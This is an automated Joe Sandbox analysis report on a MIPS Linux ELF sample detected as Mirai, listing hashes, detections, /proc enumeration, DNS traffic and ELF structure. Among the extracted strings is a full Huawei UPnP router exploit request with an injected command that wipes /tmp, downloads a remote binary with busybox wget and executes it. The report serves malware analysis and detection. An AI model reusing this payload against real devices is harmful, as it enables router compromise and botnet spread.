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Linux Analysis Report
12.elf

Overview

General Information

Sample name:12.elf
Analysis ID:1586449
MD5:299dee55831fe324cfa8af739af381e2
SHA1:d906deefe39b7308fe06160b1a115bf51670ed7a
SHA256:3b004ef7eaf23f5cf52f6508362d1e4a2c5034570c8c1c2b60b2568c99302c66
Tags:elfuser-abuse_ch
Infos:

Detection

Score:56
Range:0 - 100
Whitelisted:false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Enumerates processes within the "proc" file system
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample tries to kill a process (SIGKILL)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Joe Sandbox version:41.0.0 Charoite
Analysis ID:1586449
Start date and time:2025-01-09 07:07:10 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 27s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:12.elf
Detection:MAL
Classification:mal56.linELF@0/0@2/0
  • VT rate limit hit for: http://%d.%d.%d.%d/2;
Command:/tmp/12.elf
PID:5562
Exit Code:139
Exit Code Info:SIGSEGV (11) Segmentation fault invalid memory reference
Killed:False
Standard Output:

Standard Error:qemu: uncaught target signal 11 (Segmentation fault) - core dumped
  • system is lnxubuntu20
  • 12.elf (PID: 5562, Parent: 5481, MD5: 0083f1f0e77be34ad27f849842bbb00c) Arguments: /tmp/12.elf
  • cleanup
No yara matches
No Suricata rule has matched

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Source: 12.elfAvira: detected
Source: 12.elfReversingLabs: Detection: 28%
Source: global trafficDNS traffic detected: DNS query: daisy.ubuntu.com
Source: 12.elfString found in binary or memory: http://%d.%d.%d.%d/2;
Source: 12.elf, 5562.1.00007f307445c000.00007f3074460000.rw-.sdmpString found in binary or memory: http://1/wget.sh
Source: 12.elf, 5562.1.00007f307445c000.00007f3074460000.rw-.sdmpString found in binary or memory: http://9/curl.sh
Source: 12.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: 12.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/*; /bin/busybox wget -g %d.%d.%d.%d -l /tmp/.vs -r /h; /bin/busybox chmod 777 /tmp/.vs; /tmp/.vs; sh /tmp/.vs)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sampleString containing 'busybox' found: %s%d%s<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/*; /bin/busybox wget -g %d.%d.%d.%d -l /tmp/.vs -r /h; /bin/busybox chmod 777 /tmp/.vs; /tmp/.vs; sh /tmp/.vs)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Source: ELF static info symbol of initial sample.symtab present: no
Source: /tmp/12.elf (PID: 5562)SIGKILL sent: pid: 3192, result: successfulJump to behavior
Source: classification engineClassification label: mal56.linELF@0/0@2/0
Source: /tmp/12.elf (PID: 5562)File opened: /proc/1660/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/3044/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/793/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/794/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/1732/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/796/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/1730/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/1498/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/1333/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/1497/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/1695/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/1496/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/3157/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/1617/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/1615/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/1659/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/917/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/3055/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/1591/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/3052/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/1701/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/1/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/1623/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/1666/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/1588/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/764/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/1585/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/766/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/3047/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/723/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/800/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/888/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/724/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/802/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/1509/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/803/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/804/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/1704/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/1669/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/1867/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/3060/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/5562/statusJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/1440/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/1484/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/3188/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/490/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/3064/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/3062/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/3183/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/1514/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/1679/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/1634/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/1479/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/850/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/1432/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/1553/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/1431/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/931/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/777/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/1595/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/658/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/779/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/812/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/933/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/1692/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/1691/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/1690/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/3074/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/782/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/1762/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/3027/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/1486/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/789/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/1729/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/1806/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)File opened: /proc/1603/cmdlineJump to behavior
Source: /tmp/12.elf (PID: 5562)Queries kernel information via 'uname': Jump to behavior
Source: 12.elf, 5562.1.00005571567cd000.0000557156875000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/mips
Source: 12.elf, 5562.1.00005571567cd000.0000557156875000.rw-.sdmpBinary or memory string: '~VqU ~VqU!/etc/qemu-binfmt/mips
Source: 12.elf, 5562.1.00007ffd94fcd000.00007ffd94fee000.rw-.sdmpBinary or memory string: /usr/bin/qemu-mips
Source: 12.elf, 5562.1.00007ffd94fcd000.00007ffd94fee000.rw-.sdmpBinary or memory string: xx86_64/usr/bin/qemu-mips/tmp/12.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/12.elf
Source: 12.elf, 5562.1.00007ffd94fcd000.00007ffd94fee000.rw-.sdmpBinary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped
ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity InformationAcquire InfrastructureValid AccountsWindows Management InstrumentationPath InterceptionPath InterceptionDirect Volume Access1
OS Credential Dumping
11
Security Software Discovery
Remote ServicesData from Local System1
Non-Application Layer Protocol
Exfiltration Over Other Network MediumAbuse Accessibility Features
CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
Application Layer Protocol
Exfiltration Over BluetoothNetwork Denial of Service
No configs have been found
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Number of created Files
  • Is malicious
  • Internet

This section contains all screenshots as thumbnails, including those not shown in the slideshow.


windows-stand
SourceDetectionScannerLabelLink
12.elf29%ReversingLabsLinux.Trojan.Mirai
12.elf100%AviraEXP/ELF.Mirai.Hua.a
No Antivirus matches
No Antivirus matches
No Antivirus matches
NameIPActiveMaliciousAntivirus DetectionReputation
daisy.ubuntu.com
162.213.35.24
truefalse
    high
    NameSourceMaliciousAntivirus DetectionReputation
    http://1/wget.sh12.elf, 5562.1.00007f307445c000.00007f3074460000.rw-.sdmpfalse
      high
      http://schemas.xmlsoap.org/soap/encoding/12.elffalse
        high
        http://9/curl.sh12.elf, 5562.1.00007f307445c000.00007f3074460000.rw-.sdmpfalse
          high
          http://%d.%d.%d.%d/2;12.elffalse
            unknown
            http://schemas.xmlsoap.org/soap/envelope/12.elffalse
              high
              No contacted IP infos
              No context
              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
              daisy.ubuntu.comgigganiggax86.elfGet hashmaliciousGafgyt, MiraiBrowse
              • 162.213.35.24
              army4.elfGet hashmaliciousGafgyt, MiraiBrowse
              • 162.213.35.25
              army6.elfGet hashmaliciousGafgyt, MiraiBrowse
              • 162.213.35.24
              mippywippy.elfGet hashmaliciousGafgyt, MiraiBrowse
              • 162.213.35.24
              army5.elfGet hashmaliciousGafgyt, MiraiBrowse
              • 162.213.35.25
              boatnet.mpsl.elfGet hashmaliciousMiraiBrowse
              • 162.213.35.24
              boatnet.ppc.elfGet hashmaliciousMiraiBrowse
              • 162.213.35.25
              boatnet.sh4.elfGet hashmaliciousMiraiBrowse
              • 162.213.35.24
              boatnet.arm6.elfGet hashmaliciousMiraiBrowse
              • 162.213.35.24
              boatnet.arm7.elfGet hashmaliciousMiraiBrowse
              • 162.213.35.24
              No context
              No context
              No context
              No created / dropped files found
              File type:ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
              Entropy (8bit):5.563739934293197
              TrID:
              • ELF Executable and Linkable format (generic) (4004/1) 100.00%
              File name:12.elf
              File size:113'860 bytes
              MD5:299dee55831fe324cfa8af739af381e2
              SHA1:d906deefe39b7308fe06160b1a115bf51670ed7a
              SHA256:3b004ef7eaf23f5cf52f6508362d1e4a2c5034570c8c1c2b60b2568c99302c66
              SHA512:7f09bdd3758aaefdb1753e2cea48ff2c99cee4d1b0df5a2692213ea1cc85e8bb24d9db7d7e882d355bb303a23364bb26b6c22ab382c45c98f9f9c1e71deaac7b
              SSDEEP:1536:qHaE3DZx1v6Y/IMqrFxmm+NuYDHjausay3wfRyn0jYruBcLahWBU/01ro/YHyVmz:sauZx1v6Y0xmm+rDHUaXfFC
              TLSH:E5B3C65D6E528FBCF26D873947B78D319258338223B6D680D2ACDD145E603DEA80FB64
              File Content Preview:.ELF.....................@.p...4...l.....4. ...(.............@...@.....@...@.................E...E........3.........dt.Q............................<...'.4,...!'.......................<...'.4....!........'9... ......................<...'.3....!... ....'9.

              ELF header

              Class:ELF32
              Data:2's complement, big endian
              Version:1 (current)
              Machine:MIPS R3000
              Version Number:0x1
              Type:EXEC (Executable file)
              OS/ABI:UNIX - System V
              ABI Version:0
              Entry Point Address:0x400270
              Flags:0x1007
              ELF Header Size:52
              Program Header Offset:52
              Program Header Size:32
              Number of Program Headers:3
              Section Header Offset:113260
              Section Header Size:40
              Number of Section Headers:15
              Header String Table Index:14
              NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
              NULL0x00x00x00x00x0000
              .initPROGBITS0x4000940x940x8c0x00x6AX004
              .textPROGBITS0x4001200x1200x194600x00x6AX0016
              .finiPROGBITS0x4195800x195800x5c0x00x6AX004
              .rodataPROGBITS0x4195e00x195e00x19600x00x2A0016
              .eh_framePROGBITS0x45b0000x1b0000x40x00x3WA004
              .ctorsPROGBITS0x45b0040x1b0040x80x00x3WA004
              .dtorsPROGBITS0x45b00c0x1b00c0x80x00x3WA004
              .data.rel.roPROGBITS0x45b0180x1b0180xc0x00x3WA004
              .dataPROGBITS0x45b0300x1b0300x4980x00x3WA0016
              .gotPROGBITS0x45b4d00x1b4d00x52c0x40x10000003WAp0016
              .sbssNOBITS0x45b9fc0x1b9fc0x1c0x00x10000003WAp004
              .bssNOBITS0x45ba200x1b9fc0x29880x00x3WA0016
              .mdebug.abi32PROGBITS0x9480x1b9fc0x00x00x0001
              .shstrtabSTRTAB0x00x1b9fc0x6e0x00x0001
              TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
              LOAD0x00x4000000x4000000x1af400x1af405.56000x5R E0x10000.init .text .fini .rodata
              LOAD0x1b0000x45b0000x45b0000x9fc0x33a85.22020x6RW 0x10000.eh_frame .ctors .dtors .data.rel.ro .data .got .sbss .bss
              GNU_STACK0x00x00x00x00x00.00000x7RWE0x4
              TimestampSource PortDest PortSource IPDest IP
              Jan 9, 2025 07:08:03.164208889 CET5071453192.168.2.158.8.8.8
              Jan 9, 2025 07:08:03.164254904 CET5155953192.168.2.158.8.8.8
              Jan 9, 2025 07:08:03.170654058 CET53515598.8.8.8192.168.2.15
              Jan 9, 2025 07:08:03.170736074 CET53507148.8.8.8192.168.2.15
              TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
              Jan 9, 2025 07:08:03.164208889 CET192.168.2.158.8.8.80xe107Standard query (0)daisy.ubuntu.comA (IP address)IN (0x0001)false
              Jan 9, 2025 07:08:03.164254904 CET192.168.2.158.8.8.80x56d7Standard query (0)daisy.ubuntu.com28IN (0x0001)false
              TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
              Jan 9, 2025 07:08:03.170736074 CET8.8.8.8192.168.2.150xe107No error (0)daisy.ubuntu.com162.213.35.24A (IP address)IN (0x0001)false
              Jan 9, 2025 07:08:03.170736074 CET8.8.8.8192.168.2.150xe107No error (0)daisy.ubuntu.com162.213.35.25A (IP address)IN (0x0001)false

              System Behavior

              Start time (UTC):06:08:00
              Start date (UTC):09/01/2025
              Path:/tmp/12.elf
              Arguments:/tmp/12.elf
              File size:5777432 bytes
              MD5 hash:0083f1f0e77be34ad27f849842bbb00c